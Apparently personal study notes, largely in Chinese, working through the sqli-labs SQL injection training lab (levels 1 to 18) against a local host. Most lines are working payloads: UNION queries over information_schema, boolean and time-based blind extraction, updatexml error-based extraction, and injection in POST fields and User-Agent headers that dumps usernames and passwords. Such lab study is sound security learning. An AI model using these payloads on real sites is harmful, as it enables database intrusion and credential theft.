| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
 119
 120
 121
 122
 123
 124
 125
 126
 127
 128
 129
 130
 131
 132
 133
 134
 135
 136
 137
 138
 139
 140
 141
 142
 143
 144
 145
 146
 147
 148
 149
 150
 151
 152
 153
 154
 155
 156
 157
 158
 159
 160
 161
 162
 163
 
 | less-01:SELECT * FROM users WHERE id='1' LIMIT 0,1;
 select SELECT
 limit 0,1; 其中第一位是从第几个开始,比如0代表从第一个开始,而第二位的1代表的就是显示多少个数据。
 
 SELECT * FROM users WHERE id='1' or 1=1-- ' LIMIT 0,1
 --+ --  #
 or and
 A and B   True
 A or B  True True
 id=1
 SELECT * FROM users WHERE id='1''
 less-01
 数据中存在3列。
 
 
 system_user()
 user()
 current_user()
 database()
 version()
 @@datadir
 @@version_compile_os
 
 group_concat()
 concat_ws('~',A,B)
 A~B
 
 
 information_schema,challenges,mysql,performance_schema,security,test
 security
 emails,referers,uagents,users
 id,username,password
 
 
 group_concat(concat_ws(0x7e,username,password)) from security.users
 
 concat_ws(0x7e,username,password)    # admin~password,admin1~pass,
 
 '1'
 1
 ('1')
 
 select ascii(substr((select database()),1,1));
 select database()   security
 select ascii(substr(security),1,1));
 select ascii('s')
 115
 
 burpsuite 使用: 代理
 security
 crow_1
 if length(select database()) =8;
 
 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = 0x7365637572697479 limit 1,1),1,1))> 10--+
 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--+
 http://127.0.0.1/sqli/Less-5/?id=1’ and  ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >1000--+
 
 ascii(substr((select database()),1,1))> 156
 security
 二分法
 1,156
 100
 
 http://127.0.0.1/sqli/Less-5/?id=1'
 and
 ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) > 10
 99
 --+
 
 select if()
 select database()
 substr((select database()),1,1)
 ascii(substr((select database()),1,1))
 select if(ascii(substr((select database()),1,1)) > 10, 2,3);
 
 sqli-labs less01-less10
 mysql 查询语句:
 
 查库: select schema_name from information_schema.schemata;
 查表: select table_name from information_schema.tables where table_schema='security';
 查列: select column_name from information_schema.columns where table_name='users';
 查字段: select username,password from security.users;
 
 less-11
 
 select 1=1 and 1=2;
 select 1=1 or 1=2;
 uname=n'  union select 1, schema_name from information_schema.schemata  limit 1,1#&passwd=admin&submit=Submit
 uname=n'  union select 1, group_concat(schema_name) from information_schema.schemata #&passwd=admin&submit=Submit
 security
 uname=n'  union select 1, group_concat(table_name) from information_schema.tables where table_schema='security' #&passwd=admin&submit=Submit
 总结:
 less-1   get
 less-11  post
 (1)
 
 '
 ')
 '))
 "
 ")
 "))
 select * from users where user_id = '1';
 select * from users where user_id = '1111 ' or 1=1 #
 select database();
 group_concat(concat(0x7e,username,password)) from security.users
 ~
 username~password
 
 less-13
 select length(database());
 if()
 长度:if(length(database())>1,1,sleep(5));  数据库字符长度是8
 left(database(),1)='a'
 
 uname=ain') or left((select schema_name from information_schema.schemata limit 0,1),1)>'a' #&passwd=admin&submit=Submit
 inf
 A-Z
 0_9
 _
 
 
 less-14
 uname=admin " or length(database())='8'#&passwd=admin&submit=Submit
 A or B
 A and B
 
 uname=ain" or left((select schema_name from information_schema.schemata limit 0,1),1)='u' #&passwd=admin&submit=Submit
 uname=adin " or left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)>'a'#&passwd=admin&submit=Submit
 uname=adin " or left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='a'#&passwd=admin&submit=Submit
 
 less-15
 uname=admin&passwd=a' or length(database())='8'#&submit=Submit
 
 less-16
 13   ('ain')
 14   "admin"
 15    'ain'
 16     ("admin")
 uname=admin&passwd=admin") and 1=2#&submit=Submit
 
 less-17
 uname=admin&passwd=afafa'#&submit=Submit
 select updatexml(1,concat(0x7e,(database())),1);
 select updatexml(1,concat(0x7e,(构造语句)),1);
 查库: select schema_name from information_schema.schemata;
 查表: select table_name from information_schema.tables where table_schema='security';
 查列: select column_name from information_schema.columns where table_name='users';
 查字段: select username,password from security.users;
 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)
 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),1)
 
 less-18
 INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('Mn.0', '127.0.0.1', 'admin')
 ' or updatexml(1,concat(0x7e,()),1);
 select  updatexml(1,concat(0x7e,(database())),1);
 ' or updatexml(1,concat(0x7e,(database())),1) or '1'='1
 ' or updatexml(1,concat(0x7e,(database())),1), '','')#
 ' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1), '','')#
 ' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1), '','')#
 ' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1), '','')#
 ' or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1), '','')#
 
 |